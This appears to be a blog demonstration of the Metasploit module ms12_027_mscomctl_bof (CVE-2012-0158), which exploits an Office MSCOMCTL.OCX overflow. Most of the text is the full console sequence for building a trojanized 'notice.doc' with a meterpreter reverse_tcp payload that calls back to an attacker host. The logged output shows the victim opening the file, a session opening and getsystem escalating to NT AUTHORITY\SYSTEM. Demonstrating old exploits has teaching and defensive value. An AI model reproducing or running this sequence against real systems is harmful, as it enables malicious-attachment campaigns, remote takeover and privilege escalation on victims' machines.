Metasploit Demo: ms12_027_mscomctl_bof (CVE-2012-0158)

Not a new module but this exploit is still seen in the wild as spam attachments.
This module is useful to demonstrate how easy it is for an attacker to exploit and take control of a vulnerable target.

Description:
This module exploits a stack buffer overflow in MSCOMCTL.OCX. It uses a malicious RTF to embed the specially crafted MSComctlLib.ListViewCtrl.2 Control as exploited in the wild on April 2012. This module targets Office 2007 and Office 2010 targets. The DEP/ASLR bypass on Office 2010 is done with the Ikazuchi ROP chain proposed by Abysssec. This chain uses “msgr3en.dll”, which will load after office got load, so the malicious file must be loaded through “File / Open” to achieve exploitation.

References:
http://cvedetails.com/cve/2012-0158/
http://www.microsoft.com/technet/security/bulletin/MS12-027.mspx
http://blog.mxlab.eu/2013/11/05/fake-email-with-subject-ups-delivery-notification-tracking-number-contains-malicious-doc-attachment/
http://bartblaze.blogspot.com/2013/11/latest-ups-spam-runs-include-exploits.html

msf > use exploit/windows/fileformat/ms12_027_mscomctl_bof
msf exploit(ms12_027_mscomctl_bof) > set FILENAME notice.doc
msf exploit(ms12_027_mscomctl_bof) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(ms12_027_mscomctl_bof) > set LHOST 192.168.23.70
msf exploit(ms12_027_mscomctl_bof) > exploit

[*] Creating ‘notice.doc’ file …
[+] notice.doc stored at C:/Users/attacker/.msf4/local/notice.doc

//Set up the Payload handler and run it in the background

msf> use exploit/multi/handler
msf exploit(handler) > exploit -j
[*] Exploit running as background job.
msf exploit(handler) >
[*] Started reverse handler on 192.168.23.70:4444
[*] Starting the payload handler…

//At this point the trojanized .doc is opened on the target system

[*] Sending stage (769024 bytes) to 192.168.23.72
[*] Meterpreter session 1 opened (192.168.23.70:4444 -> 192.168.23.72:1051) at 2013-12-03 17:07:27 -0400

msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1…

meterpreter > getuid
Server username: VICTIM-PC\vic
meterpreter > getsystem
…got system (via technique 1).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM